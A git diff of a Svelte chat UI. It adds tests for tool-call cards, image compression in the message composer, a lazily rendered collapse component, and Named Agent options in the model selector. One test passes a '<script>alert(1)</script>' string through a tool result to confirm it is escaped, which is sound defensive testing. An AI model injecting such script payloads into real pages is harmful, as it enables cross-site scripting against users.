+ type: "tool-call",
+ toolCallId: "b",
+ toolName: "list_dir",
+ input: { path: "/b" },
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ {
+ seq: 5,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "read_file",
+ content: "contents-of-a",
+ isError: false,
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ {
+ seq: 6,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "b",
+ toolName: "list_dir",
+ content: "contents-of-b",
+ isError: false,
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ // Duplicate results too — absorbed into the corresponding cards.
+ {
+ seq: 7,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "read_file",
+ content: "contents-of-a",
+ isError: false,
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ {
+ seq: 8,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "b",
+ toolName: "list_dir",
+ content: "contents-of-b",
+ isError: false,
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ ];
+
+ const { container } = render(ChatView, { props: { chunks } });
+ await openAllCollapses(container);
+
+ // No each_key_duplicate crash. Calls render as independent collapsible cards —
+ // exactly ONE per unique toolCallId (deduped), not 4.
+ const collapses = container.querySelectorAll(".collapse");
+ expect(collapses).toHaveLength(2);
+ expect(container.querySelectorAll(".chat-bubble")).toHaveLength(2);
+
+ // Both unique tool names shown; each result rendered once (deduped).
+ expect(screen.getByText("Read file")).toBeInTheDocument();
+ expect(screen.getByText("List dir")).toBeInTheDocument();
+ expect(screen.getByText("contents-of-a")).toBeInTheDocument();
+ expect(screen.getByText("contents-of-b")).toBeInTheDocument();
+ });
+});
+
+describe("ChatView — lazy collapse bodies", () => {
+ it("does not mount a collapsed card's body until it is first opened, then keeps it", async () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "tool",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "x",
+ toolName: "run_shell",
+ content: "HUGE-OUTPUT",
+ isError: false,
+ },
+ provisional: false,
+ },
+ ];
+ const { container } = render(ChatView, { props: { chunks } });
+ // English display name; the raw wire name stays available as the tooltip.
+ expect(screen.getByText("Run command")).toHaveAttribute("title", "run_shell");
+ expect(screen.queryByText("HUGE-OUTPUT")).toBeNull();
+
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ await userEvent.click(box);
+ expect(screen.getByText("HUGE-OUTPUT")).toBeInTheDocument();
+
+ await userEvent.click(box); // close: body stays mounted (close animation)
+ expect(screen.getByText("HUGE-OUTPUT")).toBeInTheDocument();
+ expect(container.querySelectorAll(".chat-row")).toHaveLength(1);
+ });
+});
+
+function shellChunks(content: string | null, isError = false, committed = false): RenderedChunk[] {
+ const call: RenderedChunk = {
+ seq: committed ? 1 : null,
+ role: "assistant",
+ provisional: !committed,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "shell-1",
+ toolName: "run_shell",
+ input: { command: "bun run test" },
+ },
+ };
+ return content === null
+ ? [call]
+ : [
+ call,
+ {
+ seq: committed ? 2 : null,
+ role: "tool",
+ provisional: !committed,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "shell-1",
+ toolName: "run_shell",
+ content,
+ isError,
+ },
+ },
+ ];
+}
+
+describe("ChatView — tool cards", () => {
+ it("pairs a single call/result into one collapsed bubble with both summaries and a success icon", async () => {
+ const { container } = render(ChatView, { props: { chunks: shellChunks("first\nsecond") } });
+ expect(container.querySelectorAll(".chat-bubble")).toHaveLength(1);
+ expect(container.querySelectorAll(".collapse")).toHaveLength(1);
+ expect(screen.getByText("bun run test")).toBeInTheDocument();
+ expect(screen.getByText("→ 2 lines")).toBeInTheDocument();
+ expect(screen.getByLabelText("Succeeded")).toHaveTextContent("✓");
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ expect(box).not.toBeChecked();
+ expect(container.querySelector("pre")).toBeNull();
+ await userEvent.click(box);
+ expect(screen.getByText("$ bun run test")).toBeInTheDocument();
+ expect(screen.getByText("first second")).toBeInTheDocument();
+ expect(screen.queryByRole("checkbox", { name: /tool result/ })).toBeNull();
+ });
+ it("transitions pending → result → sealed without losing open state", async () => {
+ const { rerender } = render(ChatView, { props: { chunks: shellChunks(null) } });
+ expect(screen.getByLabelText("Running")).toHaveClass("loading-dots", "loading-sm");
+ expect(screen.getByText("→ running…")).toHaveClass("tool-result", "text-base-content/60");
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ await userEvent.click(box);
+ expect(screen.getByText("running…")).toBeInTheDocument();
+ await rerender({ chunks: shellChunks("done") });
+ expect(screen.queryByLabelText("Running")).toBeNull();
+ expect(screen.queryByText("→ running…")).toBeNull();
+ expect(screen.getByLabelText("Succeeded")).toBeInTheDocument();
+ expect(screen.getByRole("checkbox", { name: "Toggle tool call Run command" })).toBe(box);
+ expect(box).toBeChecked();
+ await rerender({ chunks: shellChunks("done", false, true) });
+ expect(screen.getByRole("checkbox", { name: "Toggle tool call Run command" })).toBe(box);
+ expect(box).toBeChecked();
+ expect(screen.getByText("done")).toBeInTheDocument();
+ });
+ it("keeps errors collapsed with a failure icon and tints the expanded output", async () => {
+ const { container } = render(ChatView, {
+ props: { chunks: shellChunks("Permission denied", true) },
+ });
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ expect(box).not.toBeChecked();
+ expect(screen.getByLabelText("Failed")).toHaveClass("text-error");
+ expect(screen.getByLabelText("Failed")).toHaveTextContent("✗");
+ expect(screen.getByText("→ failed").closest(".tool-result")).toHaveClass("text-error");
+ expect(container.querySelector(".tool-header")).not.toHaveTextContent("Permission denied");
+ expect(container.querySelector("pre")).toBeNull();
+ await userEvent.click(box);
+ expect(screen.getByText("Permission denied").parentElement).toHaveClass("text-error");
+ });
+ it("renders an orphan result as the same card and retains state when its call is paged back in", async () => {
+ const chunks = shellChunks("contents", false, true);
+ const { container, rerender } = render(ChatView, { props: { chunks: chunks.slice(1) } });
+ expect(container.querySelectorAll(".chat-bubble")).toHaveLength(1);
+ expect(screen.getByText("Call in earlier history")).toHaveClass("earlier-history");
+ expect(screen.getByLabelText("Succeeded")).toHaveClass("opacity-60");
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ await userEvent.click(box);
+ expect(screen.getByRole("note")).toHaveTextContent(
+ "This call is earlier in the conversation. Show earlier messages to see it.",
+ );
+ expect(screen.getByRole("note")).toHaveClass("italic", "text-base-content/60");
+ expect(screen.queryByRole("heading", { name: "Call" })).toBeNull();
+ expect(screen.getByText("contents")).toBeInTheDocument();
+ await rerender({ chunks });
+ expect(screen.getByRole("checkbox", { name: "Toggle tool call Run command" })).toBe(box);
+ expect(box).toBeChecked();
+ expect(screen.getByText("$ bun run test")).toBeInTheDocument();
+ });
+ it("folds 13 output lines as 6 + toggle + 6, expands and collapses without closing the card", async () => {
+ const output = Array.from({ length: 13 }, (_, i) => `output-${i + 1}`).join("\n");
+ const { rerender } = render(ChatView, { props: { chunks: shellChunks(output) } });
+ const box = screen.getByRole("checkbox", { name: "Toggle tool call Run command" });
+ await userEvent.click(box);
+ const response = screen.getByRole("region", { name: "Response" });
+ expect(response).toHaveTextContent("output-1");
+ expect(response).toHaveTextContent("output-6");
+ expect(response).not.toHaveTextContent("output-7");
+ expect(response).toHaveTextContent("output-8");
+ expect(response).toHaveTextContent("output-13");
+ const toggle = screen.getByRole("button", { name: "⋯ 1 more lines" });
+ expect(toggle).toHaveAttribute("aria-expanded", "false");
+ await userEvent.click(toggle);
+ expect(response).toHaveTextContent("output-7");
+ expect(response.querySelectorAll("pre")).toHaveLength(1);
+ expect(response.querySelector("pre")?.textContent).toBe(output);
+ const fewer = screen.getByRole("button", { name: "Show fewer lines" });
+ expect(fewer).toHaveClass("btn-soft", "btn-xs");
+ expect(fewer.parentElement).toHaveClass("sticky-controls");
+ const fullOutput = response.querySelector("pre");
+ if (fullOutput === null) throw new Error("expected full output");
+ expect(fewer.compareDocumentPosition(fullOutput)).toBe(Node.DOCUMENT_POSITION_FOLLOWING);
+ expect(box).toBeChecked();
+ expect(screen.getByRole("button", { name: "Show fewer lines" })).toHaveAttribute(
+ "aria-expanded",
+ "true",
+ );
+ await userEvent.click(screen.getByRole("button", { name: "Show fewer lines" }));
+ expect(response).not.toHaveTextContent("output-7");
+ expect(box).toBeChecked();
+ // The separate output-fold state also survives sealing.
+ await userEvent.click(screen.getByRole("button", { name: "⋯ 1 more lines" }));
+ expect(response).toHaveTextContent("output-7");
+ await rerender({ chunks: shellChunks(output, false, true) });
+ expect(box).toBeChecked();
+ expect(screen.getByRole("button", { name: "Show fewer lines" })).toHaveAttribute(
+ "aria-expanded",
+ "true",
+ );
+ expect(response).toHaveTextContent("output-7");
+ });
+ it("shows 12 output lines without an inner toggle", async () => {
+ const output = Array.from({ length: 12 }, (_, i) => `output-${i + 1}`).join("\n");
+ render(ChatView, { props: { chunks: shellChunks(output) } });
+ await userEvent.click(screen.getByRole("checkbox", { name: "Toggle tool call Run command" }));
+ expect(screen.queryByRole("button", { name: /more lines|fewer lines/ })).toBeNull();
+ expect(screen.getByRole("region", { name: "Response" })).toHaveTextContent("output-12");
+ });
+ it("renders edit details and treats tool output as text, not executable markup", async () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "edit",
+ toolName: "edit_file",
+ input: { path: "a.ts", oldString: "before", newString: "after\nsecond" },
+ },
+ },
+ {
+ seq: 2,
+ role: "tool",
+ provisional: false,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "edit",
+ toolName: "edit_file",
+ content: 'Replaced 1 occurrence(s) in "a.ts".\n<script>alert(1)</script>',
+ isError: false,
+ },
+ },
+ ];
+ const { container } = render(ChatView, { props: { chunks } });
+ expect(screen.getByText("+2")).toHaveClass("text-success");
+ expect(screen.getByText("−1")).toHaveClass("text-error");
+ expect(screen.getByText("→ 1 replacement · diagnostics")).toBeInTheDocument();
+ await userEvent.click(screen.getByRole("checkbox", { name: "Toggle tool call Edit file" }));
+ // Unified diff: one tinted row per line, each with its own −/+ gutter marker.
+ const diff = screen.getByRole("group", { name: "Edit diff" });
+ const removed = diff.querySelectorAll(".edit-diff-del");
+ const added = diff.querySelectorAll(".edit-diff-add");
+ expect(Array.from(removed, (r) => r.textContent?.trim())).toEqual(["−before"]);
+ expect(Array.from(added, (r) => r.textContent?.trim())).toEqual(["+after", "+second"]);
+ expect(container.querySelector("script")).toBeNull();
+ expect(container).toHaveTextContent("<script>alert(1)</script>");
+ });
+});
+
+it("renders compact, aligned generic fields with legible headings and inline scalar arrays", async () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "issue",
+ toolName: "mcp__github__create_issue",
+ input: {
+ owner: "realtradam",
+ repo: "frontend",
+ title: "Tool cards",
+ labels: ["ui", "chat"],
+ options: { nested: true },
+ },
+ },
+ },
+ ];
+ const { container } = render(ChatView, { props: { chunks } });
+ await userEvent.click(
+ screen.getByRole("checkbox", { name: "Toggle tool call Github: Create issue" }),
+ );
+ for (const name of ["Call", "Response"]) {
+ expect(screen.getByRole("heading", { name })).toHaveClass("font-semibold", "text-base-content");
+ }
+ const call = screen.getByRole("region", { name: "Call" });
+ expect(call.querySelector("dl")).toHaveClass("call-fields");
+ expect(screen.getByText("owner")).toHaveClass("font-semibold", "text-base-content/85");
+ const labels = screen.getByText('["ui", "chat"]');
+ expect(labels.tagName).toBe("PRE");
+ expect(labels.textContent).not.toContain("\n");
+ expect(container.querySelectorAll("dt")).toHaveLength(5);
+ expect(container.querySelectorAll("dd")).toHaveLength(5);
+ expect(screen.getByText("options").nextElementSibling).toHaveTextContent('"nested": true');
+});
+
+it("removes a pending edit's diffstat when it fails, without hiding the attempted edit", async () => {
+ const call: RenderedChunk = {
+ seq: null,
+ role: "assistant",
+ provisional: true,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "failed-edit",
+ toolName: "edit_file",
+ input: { path: "src/missing.ts", oldString: "foo", newString: "bar" },
+ },
+ };
+ const result: RenderedChunk = {
+ seq: null,
+ role: "tool",
+ provisional: true,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "failed-edit",
+ toolName: "edit_file",
+ content: "Error: oldString not found",
+ isError: true,
+ },
+ };
+ const { container, rerender } = render(ChatView, { props: { chunks: [call] } });
+ expect(screen.getByText("+1")).toBeInTheDocument();
+ expect(screen.getByText("−1")).toBeInTheDocument();
+ expect(screen.getByText("→ running…")).toBeInTheDocument();
+ await userEvent.click(screen.getByRole("checkbox", { name: "Toggle tool call Edit file" }));
+ await rerender({ chunks: [call, result] });
+ expect(screen.queryByText("+1")).toBeNull();
+ expect(screen.queryByText("−1")).toBeNull();
+ expect(screen.queryByText("→ running…")).toBeNull();
+ expect(container.querySelector(".tool-header")).toHaveTextContent("src/missing.ts");
+ expect(container.querySelector(".tool-header")).toHaveTextContent("→ failed");
+ expect(screen.getByText("foo")).toBeInTheDocument();
+ expect(screen.getByText("bar")).toBeInTheDocument();
+ expect(screen.getByText("Error: oldString not found")).toBeInTheDocument();
+});
+
+it("shows an argument-less call without `{}` — empty header summary, 'No arguments' in the body", async () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: { type: "tool-call", toolCallId: "m", toolName: "list_agent_models", input: {} },
+ },
+ {
+ seq: 2,
+ role: "tool",
+ provisional: false,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "m",
+ toolName: "list_agent_models",
+ content: "Available named agents (3)",
+ isError: false,
+ },
+ },
+ ];
+ const { container } = render(ChatView, { props: { chunks } });
+ expect(screen.getByText("List agent models")).toBeInTheDocument();
+ expect(container).not.toHaveTextContent("{}");
+ await userEvent.click(
+ screen.getByRole("checkbox", { name: "Toggle tool call List agent models" }),
+ );
+ expect(screen.getByText("No arguments")).toBeInTheDocument();
+ expect(container).not.toHaveTextContent("{}");
+});
+
+it("renders a per-tool Phosphor icon in the header", () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "s",
+ toolName: "run_shell",
+ input: { command: "ls" },
+ },
+ },
+ {
+ seq: 2,
+ role: "assistant",
+ provisional: false,
+ chunk: { type: "tool-call", toolCallId: "r", toolName: "read_file", input: { path: "a.ts" } },
+ },
+ ];
+ const { container } = render(ChatView, { props: { chunks } });
+ const icons = Array.from(container.querySelectorAll(".tool-header svg[aria-hidden='true']"));
+ expect(icons).toHaveLength(2);
+ // Different tools → different glyphs.
+ expect(icons[0]?.innerHTML).not.toBe(icons[1]?.innerHTML);
+});
+
+it("replaces failed persisted images with an expired placeholder, without marking inline images expired", async () => {
+ const chunks: RenderedChunk[] = ["/images/conv/gone.png", "data:image/png;base64,AAAA"].map(
+ (url, i) => ({ seq: i + 1, role: "user", chunk: { type: "image", url }, provisional: false }),
+ );
+ render(ChatView, { chunks, apiBaseUrl: "https://backend.test" });
+ const [stored, inline] = screen.getAllByRole("img");
+ if (!stored || !inline) throw new Error("expected both images");
+ expect(stored).toHaveAttribute("src", "https://backend.test/images/conv/gone.png");
+ await fireEvent.error(inline);
+ expect(screen.queryByText("image expired")).toBeNull();
+ await fireEvent.error(stored);
+ expect(screen.getByText("image expired")).toBeInTheDocument();
+ expect(screen.getAllByRole("img")).toEqual([inline]);
+});
+
+it("shows omitted in-progress tool input as recovering/unavailable, never No arguments", async () => {
+ const { container, rerender } = render(ChatView, {
+ recovering: true,
+ chunks: [
+ {
+ seq: null,
+ role: "tool",
+ provisional: true,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "missing",
+ toolName: "run_shell",
+ content: "real output",
+ isError: false,
+ },
+ },
+ ],
+ });
+ expect(screen.getByRole("status").textContent).toContain("unavailable until persisted");
+ expect(screen.getByText("Recovering tool input…")).toBeTruthy();
+ await openAllCollapses(container);
+ expect(screen.getByText(/Tool input is unavailable until it is persisted/)).toBeTruthy();
+ expect(screen.queryByText("No arguments")).toBeNull();
+ expect(screen.getByText("real output")).toBeTruthy();
+ await rerender({
+ recovering: false,
+ chunks: [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "missing",
+ toolName: "run_shell",
+ input: { command: "recovered command" },
+ },
+ },
+ ],
+ });
+ expect(screen.queryByRole("status")).toBeNull();
+ expect(screen.queryByText("Recovering tool input…")).toBeNull();
+});
diff --git a/src/features/chat/ui/Composer.svelte b/src/features/chat/ui/Composer.svelte
index 04c28cd..cd451bc 100644
--- a/src/features/chat/ui/Composer.svelte
+++ b/src/features/chat/ui/Composer.svelte
@@ -1,5 +1,8 @@
<script lang="ts">
import type { ImageInput } from "@dispatch/wire";
+ import { convertToJpeg, type ConvertedJpeg, type ImageJpegEncoder } from "../adapter/image-encode";
+ import { stopButtonLabels } from "../logic/composer";
+ import { MAX_IMAGE_EDGE_PX, shouldConvertImage } from "../logic/image-compress";
import { computeContextUsage, formatCompactTokens } from "../../../core/metrics";
const FALLBACK_CONTEXT_WINDOW = 1_000_000;
@@ -8,20 +11,56 @@
const IMAGE_ACCEPT = "image/png,image/jpeg,image/gif,image/webp";
/** Reject images larger than this before base64-encoding (keeps payloads sane). */
const MAX_IMAGE_BYTES = 8 * 1024 * 1024;
+ /** Tooltip on the per-image compress toggle (PNG → JPEG + resize). */
+ const COMPRESS_TOOLTIP = `Re-encode PNG to JPEG and resize to ${MAX_IMAGE_EDGE_PX}px (smaller upload). Unchecked sends the original bytes.`;
- /** A staged image awaiting send: a stable id + the `ImageInput` to forward. */
+ /**
+ * A staged image awaiting send: a stable id + everything needed to resolve
+ * the `ImageInput` that will actually be sent. The ORIGINAL `File` (and its
+ * data URL) is kept so the per-image compress toggle is reversible until
+ * send; the async conversion result is cached so flipping the toggle never
+ * re-encodes.
+ */
interface StagedImage {
readonly id: string;
- readonly input: ImageInput;
+ /** The original untouched File — sent verbatim when compress is off. */
+ readonly file: File;
+ /** Data URL of the original (staged immediately — conversion is async). */
+ readonly originalUrl: string;
+ readonly originalMimeType: string | undefined;
+ /** Whether the converted (JPEG) variant is used for send. Default ON. */
+ compress: boolean;
+ /** Cached conversion (data URL of the JPEG); `null` = none/failed/n.a. */
+ converted: { url: string } | null;
+ }
+
+ /**
+ * The `ImageInput` this staged image will actually SEND: the converted JPEG
+ * (data URL + `image/jpeg`) when compress is on AND a conversion exists,
+ * otherwise the original untouched bytes.
+ */
+ function imageInput(img: StagedImage): ImageInput {
+ if (img.compress && img.converted !== null) {
+ return { url: img.converted.url, mimeType: "image/jpeg" };
+ }
+ const { originalUrl: url, originalMimeType: mimeType } = img;
+ return { url, ...(mimeType ? { mimeType } : {}) };
+ }
+
+ /** Whether the compress toggle is rendered for this image (convertible formats only). */
+ function compressible(img: StagedImage): boolean {
+ return shouldConvertImage(img.originalMimeType);
}
let {
onSend,
onQueue,
onStop,
+ encodeJpeg = convertToJpeg,
contextSize = undefined,
contextWindow = undefined,
status = "idle",
+ queuedMessageCount = undefined,
}: {
/**
* Send a message (start a turn via `chat.send`). Carries any staged images
@@ -33,12 +72,17 @@
/**
* Enqueue a steering message (`chat.queue`). When provided AND the status
* is `running`, the send button becomes a "Queue" button that steers the
- * in-flight turn instead of starting a new one. Steering is text-only —
- * it never carries images (a mid-turn injection has no image surface).
+ * in-flight turn instead of starting a new one. Carries staged images just
+ * like onSend; without this callback, in-flight input stays staged.
*/
- onQueue?: (text: string) => void;
+ onQueue?: (text: string, images?: ImageInput[]) => void;
/** Stop the in-flight generation (`POST /conversations/:id/stop`). */
onStop?: () => void;
+ /**
+ * Injected compression edge (a `File` in, a maybe-smaller JPEG out).
+ * Defaults to the real canvas converter; tests stub this outermost edge.
+ */
+ encodeJpeg?: ImageJpegEncoder;
// Current context occupancy — updated progressively during a turn (the
// latest step's input+output) and finalized to the turn's `contextSize` on
// seal, or `undefined` when unknown — the status bar then shows
@@ -53,6 +97,8 @@
* `running` for the send button (steer/stop).
*/
status?: ComposerStatus;
+ /** Current conversation's queued snapshot size; undefined when unavailable. */
+ queuedMessageCount?: number | undefined;
} = $props();
export type ComposerStatus = "idle" | "running" | "queued" | "error";
@@ -65,25 +111,23 @@
const hasText = $derived(text.trim().length > 0);
const hasImages = $derived(images.length > 0);
- const canSend = $derived(hasText || hasImages);
+ const inFlight = $derived(status === "running" || status === "queued");
+ const canSend = $derived((hasText || hasImages) && (!inFlight || onQueue !== undefined));
const effectiveMax = $derived(contextWindow ?? FALLBACK_CONTEXT_WINDOW);
const usage = $derived(computeContextUsage(contextSize, effectiveMax));
// One button, three modes:
// - idle → "Send" (starts a turn via chat.send)
- // - running/queued + text → "Queue" (steers via chat.queue — text only)
+ // - running/queued + text/images → "Queue" (steers via chat.queue)
// - running/queued + empty → "Stop" (aborts via POST /stop)
// (`queued` behaves like `running` — the turn is in flight, just waiting for a
// concurrency slot; the user can still steer or stop it.)
- // Steering never carries images: when running with images staged but no text,
- // the images stay staged (queue is text-only). Images-without-text while running
- // is an unusual case that still sends (the server auto-starts/resolves).
- const inFlight = $derived(status === "running" || status === "queued");
const buttonMode = $derived.by<"send" | "queue" | "stop">(() => {
if (inFlight && !hasText && !hasImages && onStop !== undefined) return "stop";
- if (inFlight && hasText && onQueue !== undefined) return "queue";
+ if (inFlight) return "queue";
return "send";
});
+ const stopButton = $derived(stopButtonLabels(queuedMessageCount));
const placeholder = $derived(
status === "queued"
? "Queued for a slot…"
@@ -120,8 +164,8 @@
resize();
});
- /** Read a File into a base64 data URL (`data:image/…;base64,…`). */
- function fileToDataUrl(file: File): Promise<string> {
+ /** Read a File/Blob into a base64 data URL (`data:image/…;base64,…`). */
+ function fileToDataUrl(file: Blob): Promise<string> {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = () => {
@@ -142,10 +186,51 @@
// Prefer the file's declared MIME; fall back to the data URL's prefix.
const mimeType = file.type || undefined;
const id = `img-${Date.now()}-${imgSeq++}`;
- images = [...images, { id, input: { url, ...(mimeType ? { mimeType } : {}) } }];
+ images = [
+ ...images,
+ {
+ id,
+ file,
+ originalUrl: url,
+ originalMimeType: mimeType,
+ compress: true, // compress is ON by default for every staged image
+ converted: null,
+ },
+ ];
+ // Convert async in the background — staging is never blocked on it; the
+ // staged input stays the original until the converted URL arrives.
+ if (shouldConvertImage(mimeType)) {
+ void runConversion(id);
+ }
return true;
}
+ /**
+ * Run the (injected) compression edge for a staged image and cache the
+ * result. ANY failure (rejecting encoder included) resolves to no
+ * conversion → the original is sent; compression never breaks staging. If
+ * the image was removed while converting, the result is dropped.
+ */
+ async function runConversion(id: string): Promise<void> {
+ const staged = images.find((img) => img.id === id);
+ if (staged === undefined) return;
+ let result: ConvertedJpeg | null = null;
+ try {
+ result = await encodeJpeg(staged.file);
+ } catch {
+ result = null; // fall back to the original — never block or break sending
+ }
+ const entry = images.find((img) => img.id === id);
+ if (entry === undefined) return; // removed mid-conversion
+ entry.converted = result === null ? null : { url: await fileToDataUrl(result.blob) };
+ }
+
+ /** Flip the per-image compress toggle (reversible until send). */
+ function setCompress(id: string, compress: boolean): void {
+ const entry = images.find((img) => img.id === id);
+ if (entry !== undefined) entry.compress = compress;
+ }
+
function removeImage(id: string): void {
images = images.filter((img) => img.id !== id);
}
@@ -200,15 +285,15 @@
const trimmed = text.trim();
// Allow a send with images even when text is empty (an image-only turn).
if (trimmed.length === 0 && !hasImages) return;
- if (buttonMode === "queue") {
- // Steering is text-only — never forward images.
- onQueue?.(trimmed);
+ const toSend = hasImages ? images.map((img) => imageInput(img)) : undefined;
+ if (inFlight) {
+ if (onQueue === undefined) return; // Keep staged input if no queue port is wired.
+ onQueue(trimmed, toSend);
} else {
- const toSend: ImageInput[] | undefined = hasImages
- ? images.map((img) => img.input)
- : undefined;
onSend(trimmed, toSend);
}
+ // Clear only after handing the complete input to a callback. WS is still
+ // fire-and-forget: this does not imply backend storage has completed.
text = "";
images = [];
}
@@ -239,7 +324,7 @@
<!-- Top bar: expanding textarea + image-attach button + single context-aware button -->
<div class="flex items-end gap-2 px-4 pt-3 pb-2">
<div
- class="flex-1"
+ class="min-w-0 flex-1"
onpaste={handlePaste}
class:border-2={dragOver}
class:border-primary={dragOver}
@@ -293,10 +378,11 @@
<button
class="btn btn-error w-20 shrink-0"
type="button"
- aria-label="Stop generation"
+ aria-label={stopButton.ariaLabel}
+ title={stopButton.title}
onclick={() => onStop?.()}
>
- Stop
+ {stopButton.text}
</button>
{:else}
<button class="btn btn-primary w-20 shrink-0" type="submit" disabled={!canSend}>
@@ -310,9 +396,10 @@
<div class="flex flex-wrap gap-2 px-4 pb-1">
{#each images as img (img.id)}
<div class="group relative h-20 w-20 shrink-0 overflow-hidden rounded border border-base-300">
+ <!-- Preview what will actually be sent (the converted JPEG when compress is on). -->
<img
- src={img.input.url}
- alt={img.input.mimeType ?? "staged image"}
+ src={imageInput(img).url}
+ alt={imageInput(img).mimeType ?? "staged image"}
class="h-full w-full object-cover"
/>
<button
@@ -335,6 +422,22 @@
<line x1="6" y1="6" x2="18" y2="18"></line>
</svg>
</button>
+ <!-- Per-image compress toggle (convertible formats only; reversible until send). -->
+ {#if compressible(img)}
+ <label
+ class="absolute bottom-0 left-0 flex items-center gap-1 bg-base-100/80 px-1 py-0.5 text-[10px] leading-none"
+ title={COMPRESS_TOOLTIP}
+ >
+ <input
+ type="checkbox"
+ class="checkbox checkbox-xs"
+ aria-label="Compress image"
+ checked={img.compress}
+ onchange={(e) => setCompress(img.id, e.currentTarget.checked)}
+ />
+ <span class="whitespace-nowrap">Compress</span>
+ </label>
+ {/if}
</div>
{/each}
</div>
diff --git a/src/features/chat/ui/LazyCollapse.svelte b/src/features/chat/ui/LazyCollapse.svelte
new file mode 100644
index 0000000..3ce34dd
--- /dev/null
+++ b/src/features/chat/ui/LazyCollapse.svelte
@@ -0,0 +1,46 @@
+<script lang="ts">
+ import type { Snippet } from "svelte";
+
+ /**
+ * A daisyUI checkbox collapse whose BODY is rendered lazily: nothing inside
+ * `.collapse-content` is created until the user first opens it. A long turn
+ * has hundreds of collapsed tool/thinking cards, each holding a full JSON
+ * input / tool output / thought — building all of that DOM up front (only to
+ * be hidden) dominated first paint on slow devices. Once opened the body
+ * stays mounted, so the close animation and any inner scroll state work as
+ * before. Same markup + classes as the inline collapses it replaces.
+ */
+ let {
+ label,
+ titleClass = "",
+ title,
+ children,
+ }: {
+ /** aria-label of the toggle checkbox. */
+ label: string;
+ /** Extra classes on the `.collapse-title` row. */
+ titleClass?: string;
+ title: Snippet;
+ children: Snippet;
+ } = $props();
+
+ let open = $state(false);
+ let everOpened = $state(false);
+ $effect(() => {
+ if (open) everOpened = true;
+ });
+</script>
+
+<!-- `.inset-well` (app.css): the recessed panel shared by thinking/tool blocks
+ and the sidebar views. -->
+<div class="collapse inset-well w-full text-sm">
+ <input type="checkbox" aria-label={label} bind:checked={open} />
+ <div class="collapse-title flex min-h-0 min-w-0 items-center gap-2 py-2 whitespace-nowrap font-medium {titleClass}">
+ {@render title()}
+ </div>
+ <div class="collapse-content">
+ {#if open || everOpened}
+ {@render children()}
+ {/if}
+ </div>
+</div>
diff --git a/src/features/chat/ui/ModelSelector.svelte b/src/features/chat/ui/ModelSelector.svelte
index 11b9feb..a9b0cc9 100644
--- a/src/features/chat/ui/ModelSelector.svelte
+++ b/src/features/chat/ui/ModelSelector.svelte
@@ -1,12 +1,28 @@
<script lang="ts">
import type { ModelMetadata } from "@dispatch/transport-contract";
- import { isVisionModel, joinModelName, modelKeys, modelsForKey, splitModelName } from "../model-select";
+ import type { NamedAgent, NamedAgentSelectionSnapshot } from "../../named-agents";
+ import {
+ isNamedAgentSelection,
+ isVisionModel,
+ joinModelName,
+ modelKeyLabel,
+ modelsForKey,
+ NAMED_AGENTS_PROVIDER,
+ namedAgentNames,
+ namedAgentSelectionLabel,
+ providerKeysWithNamedAgents,
+ splitModelName,
+ } from "../model-select";
let {
models,
selected,
onSelect,
modelInfo = {},
+ namedAgents = [],
+ namedAgentSnapshot = null,
+ onSelectNamedAgent,
+ zeroProviders = false,
}: {
models: readonly string[];
selected: string;
@@ -18,75 +34,199 @@
* Optional — absent metadata → no badge (treated as non-vision).
*/
modelInfo?: Readonly<Record<string, ModelMetadata>>;
+ /** The user-curated Named Agents (plan §6) offered under the synthetic provider. */
+ namedAgents?: readonly NamedAgent[];
+ /** The active conversation's Named Agent snapshot (null when not selected via one). */
+ namedAgentSnapshot?: NamedAgentSelectionSnapshot | null;
+ /** Called when a Named Agent is selected (the selector resolves it to a raw model + snapshot). */
+ onSelectNamedAgent?: (snapshot: NamedAgentSelectionSnapshot) => void;
+ /**
+ * First-boot guardrail (§7): true when the ACTIVE workspace has ZERO
+ * enabled providers (plan 06's `providers-status`) — renders a visible
+ * prompt above the picker instead of a silently empty one.
+ */
+ zeroProviders?: boolean;
} = $props();
- const keys = $derived(modelKeys(models));
+ // Whether the current selection is a Named Agent snapshot (the conversation was
+ // selected via one; its captured raw model equals `selected`).
+ const currentIsNamedAgent = $derived(isNamedAgentSelection(selected, namedAgentSnapshot));
+
+ const providerKeys = $derived(providerKeysWithNamedAgents(models));
const current = $derived(splitModelName(selected));
const keyModels = $derived(modelsForKey(models, current.key));
+ // The provider shown in the provider dropdown: the synthetic Named Agents
+ // provider when the selection is a Named Agent snapshot, else the raw key.
